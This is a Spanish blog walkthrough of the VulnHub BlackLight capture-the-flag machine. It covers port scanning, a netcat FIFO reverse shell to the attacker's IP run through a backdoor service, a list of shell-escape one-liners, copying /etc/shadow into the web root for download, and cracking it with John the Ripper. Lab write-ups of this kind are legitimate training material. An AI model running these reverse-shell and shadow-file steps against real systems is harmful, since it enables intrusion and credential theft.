Hola amigos.
En esta ocasión, vamos a desarrollar
el ctf BlackLight, cuya máquina la podéis descargar en
https://www.vulnhub.com/entry/blacklight-1,242/
Vamos a suponer que la máquina
atacante tiene la IP 192.168.1.131 y la máquina víctima
192.168.1.140
En primer lugar, hacemos el escaneo de
puertos
nmap -sS -sV -O 192.168.1.140
Observamos que tenemos un servidor web
corriendo.
Veamos los directorios
dirb http://192.168.1.140
tenemos la página robots.txt, vamos a
visitarla
Tenemos dos, flag1.txt y
blacklight.dict.
Vamos a la primera
Y el segundo, es un diccionario que nos
descargaremos, pues podríamos necesitarlo más adelante.
Vamos a descargarlo
wget 192.168.1.140/blacklight.dict
Vemos en el flag, el número 9072,
puede ser un puerto abierto que no nos haya detectado nmap.
Esto es debido a que nmap, por defecto,
no escanea todos los puertos, sino los más comunes.
Nmap -sS -sV -p 9072 192.168.1.140
No sabe lo que es.
Vamos a probar
telnet 192.168.1.140 9072
vale, pongamos
.help
vale, veamos
.readhash
Nos dice que tenemos un comando más
hasta que el servidor nos desconecte. Por tanto, sólo nos deja 3
comandos, de los cuales ya he gastado 2.
La verdad es que, si vuelves a
reiniciar la máquina atacante, vuelves a tener 3 oportunidades.
Vale, en una nueva consola, abramos un
netcat a la escucha
nc -l -v -p 4444
Vamos a crear un fichero FIFO.
¿Qué es un fichero FIFO? En primer
lugar, FIFO significa First In, First Out, o lo que es lo mismo, el
primero en entrar es el primero en salir.
Lo que vamos a hacer es crear una lista
de comandos, a la cual, asignaremos un nombre. A este nombre se le
llama fichero FIFO.
mkfinfo /tmp/fifo; nc 192.168.1.131
4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo
En primer lugar, se crea el archivo
/tmp/fifo.
Punto y coma para separar órdenes y
ejecutarlas.
En segundo lugar, Abriremos un netcat a
la dirección 192.168.1.140 en el peurto 4444; A la salida estándar
por teclado teclado (el 0) le redirigimos, pero no hacia una salida
(>), sino hacia la entrada (<) el archivo fifo que hemos
creado.
La salida que nos ha generado todo
esto, lo enviamos como entrada (|) a lo que salga de hacer todo el
proceso de /bin/sh>tmp/fifo 2>&1 (Es decir, primero se
haría el /bin/sh>tmp/fifo 2&1 y después, todo lo que haya
salido de la parte izquierda de “|”, será la entrada de toda la
parte derecha (el resultado de /bin/sh>tmp/fifo 2>&1.
Ahora bien, 2 se refiere al error
estándar (stderr). Este error, se redigirá a la salida estándar
(stdout), que será ese &1.
Con ello, lo que hacemos, será forzar
a imprimir los errores.
Posteriormente, borramos /tmp/fifo
Por tanto, en la primera consola,
tendremos que poner
.exec mkfifo /tmp/fifo; nc
192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1;
rm /tmp/fifo
<imagen 12>
Ahora, correremos un script en python,
para que nos dé una shell
python -c 'import
pty;pty.spawn(“/bin/bash”);'
pty, en linux, son pseudoterminales.
Por tanto, lo que hacemos en python es abrir una pseudoterminal.
Fuera de este reto, para abrir
pseudoterminales tenemos:
- echo os.system('/bin/bash')
- /bin/sh -i
- perl -e 'exec “/bin/sh”;'
- perl: exec “/bin/sh”;
- ruby: exec “/bin/sh”
- A partir de aplicaciones:
- vi: :!bash
- En nmap (sólo desde la versión 2.02 hasta la 5.21, para ver la versión de nmap, con la opción -V):
- nmap --interactive
- !sh
Una vez obtenida la shell, observamos
que en /home/blacklight tenemos otro hash en el fichero hash.txt, el
cual, lo voy a copiar a /var/www/html/ para descargarlo
También voy a /etc/:
cd /etc/
Copio todos los archivos shadow a
/var/www/html
cp shado* /var/www/html/
creo un archivo tar
tar cvf shadow.tar shadow shadow-
En una tercera terminal descargo lo
anterior.
wget 192.168.1.140/hash.txt
wget 192.168.1.140/shadow.tar
Extraigo los ficheros
tar xvf shadow.tar
Ahora, realizamos un ataque de fuerza
bruta a estos archivos shadow
john shadow --wordlist=blacklight.dic
Bien, volvamos a la shell de blacklight
y vayamos al directorio /home/blacklight
cd /home/blacklight/
Ahora, veamos los archivos ocultos
ls -al
Nos metemos en el directorio .secret
cd .secret
ls -al
Copiamos a /var/www/html/ para
descargarlo
cp * /var/www/html/
Nos vamos a la última terminal que
abrimos y lo descargamos
wget 192.168.1.140/flag2-inside.jpg
Bien. Lo que nos dice es que el flag
está escondida en esta imagen. Usaremos outguess, que es una
herramienta de estenografía (¿os habéis dado cuenta que en la
imagen ponía ...OUT...GUESS?, nos estaba dando una pista).
En la terminal, ponemos
git clone
https://github.com/crorvick/outguess.git
Y compilamos de la
siguiente manera:
En primer lugar ponemos.
./configure
En segundo lugar, ponemos.
make
bien, ahora ponemos
outguess -r flag2-inside.jpg -t flag2
cat flag2
No hay comentarios:
Publicar un comentario
Nota: solo los miembros de este blog pueden publicar comentarios.